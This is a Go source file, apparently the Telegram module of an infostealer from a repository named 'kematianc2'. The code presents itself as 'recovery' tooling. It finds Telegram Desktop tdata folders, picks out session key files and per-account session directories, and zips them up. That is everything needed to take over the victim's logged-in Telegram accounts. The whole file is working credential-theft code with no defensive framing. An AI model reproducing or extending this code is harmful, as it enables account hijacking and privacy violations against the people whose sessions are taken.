Files
kematianc2/Kematian-Standalone/native/recovery/scanner/telegram.go
T
2026-08-27 11:23:01 -06:00

235 lines
4.4 KiB
Go

package scanner
import (
"os"
"path/filepath"
"strings"
"recovery/recovery/types"
"recovery/recovery/ziputil"
)
type telegramPathConfig struct {
name string
subPath string
base string
}
var tdataSessionFiles = map[string]bool{
"key_datas": true,
"usertag": true,
"settings0": true,
"settings1": true,
"configs": true,
}
func isTdataSessionDir(name string) bool {
if len(name) != 16 {
return false
}
for _, c := range name {
if !((c >= '0' && c <= '9') || (c >= 'A' && c <= 'F') || (c >= 'a' && c <= 'f')) {
return false
}
}
return true
}
func ScanTelegram() []types.TelegramResult {
var results []types.TelegramResult
for _, tp := range getTelegramPaths() {
base := resolveTelegramBase(tp.base)
if base == "" {
continue
}
tdataDir := filepath.Join(base, tp.subPath)
if _, err := os.Stat(tdataDir); err != nil {
continue
}
accounts := findTelegramAccounts(tdataDir)
for _, acc := range accounts {
results = append(results, types.TelegramResult{
Account: acc.account,
Path: acc.path,
Files: acc.files,
Size: acc.size,
})
}
}
return results
}
type telegramAccount struct {
account string
path string
files int
size int64
}
func findTelegramAccounts(tdataDir string) []telegramAccount {
var accounts []telegramAccount
entries, err := os.ReadDir(tdataDir)
if err != nil {
return nil
}
hasKeyData := false
for _, e := range entries {
if !e.IsDir() && e.Name() == "key_datas" {
hasKeyData = true
break
}
}
if hasKeyData {
files, size := countTdataFiles(tdataDir)
if files > 0 {
accounts = append(accounts, telegramAccount{
account: "Main",
path: tdataDir,
files: files,
size: size,
})
}
}
for _, e := range entries {
if !e.IsDir() {
continue
}
name := e.Name()
if !isTdataSessionDir(name) {
continue
}
sessionDir := filepath.Join(tdataDir, name)
sessionEntries, err := os.ReadDir(sessionDir)
if err != nil {
continue
}
hasData := false
for _, se := range sessionEntries {
if !se.IsDir() {
hasData = true
break
}
}
if hasData {
files, size := countTdataSessionFiles(sessionDir)
accounts = append(accounts, telegramAccount{
account: name,
path: sessionDir,
files: files,
size: size,
})
}
}
return accounts
}
func countTdataFiles(tdataDir string) (int, int64) {
var count int
var totalSize int64
entries, err := os.ReadDir(tdataDir)
if err != nil {
return 0, 0
}
for _, e := range entries {
if e.IsDir() {
continue
}
name := e.Name()
if tdataSessionFiles[name] || strings.HasSuffix(name, "s") && tdataSessionFiles[strings.TrimSuffix(name, "s")] {
info, err := e.Info()
if err != nil {
continue
}
count++
totalSize += info.Size()
}
}
return count, totalSize
}
func countTdataSessionFiles(dir string) (int, int64) {
var count int
var totalSize int64
filepath.Walk(dir, func(path string, info os.FileInfo, err error) error {
if err != nil || info.IsDir() {
return nil
}
count++
totalSize += info.Size()
return nil
})
return count, totalSize
}
func ZipTelegram(path string) ([]byte, error) {
info, err := os.Stat(path)
if err != nil {
return nil, err
}
if !info.IsDir() {
return nil, os.ErrNotExist
}
// If this is a session subfolder (hex name), just zip its contents directly
if isTdataSessionDir(filepath.Base(path)) {
return ziputil.ZipDirectory(path)
}
// Otherwise this is the tdata root — zip key files + session subdirs
return zipTdataRoot(path)
}
func zipTdataRoot(tdataDir string) ([]byte, error) {
entries, err := os.ReadDir(tdataDir)
if err != nil {
return nil, err
}
var filesToZip []string
for _, e := range entries {
name := e.Name()
if e.IsDir() {
if isTdataSessionDir(name) {
sessionDir := filepath.Join(tdataDir, name)
filepath.Walk(sessionDir, func(path string, info os.FileInfo, err error) error {
if err != nil || info.IsDir() {
return nil
}
if info.Size() < 50*1024*1024 {
filesToZip = append(filesToZip, path)
}
return nil
})
}
} else {
if tdataSessionFiles[name] || strings.HasPrefix(name, "key_data") || strings.HasPrefix(name, "map") {
info, _ := e.Info()
if info != nil && info.Size() < 50*1024*1024 {
filesToZip = append(filesToZip, filepath.Join(tdataDir, name))
}
}
}
}
if len(filesToZip) == 0 {
return nil, os.ErrNotExist
}
return ziputil.ZipFiles(filesToZip, tdataDir)
}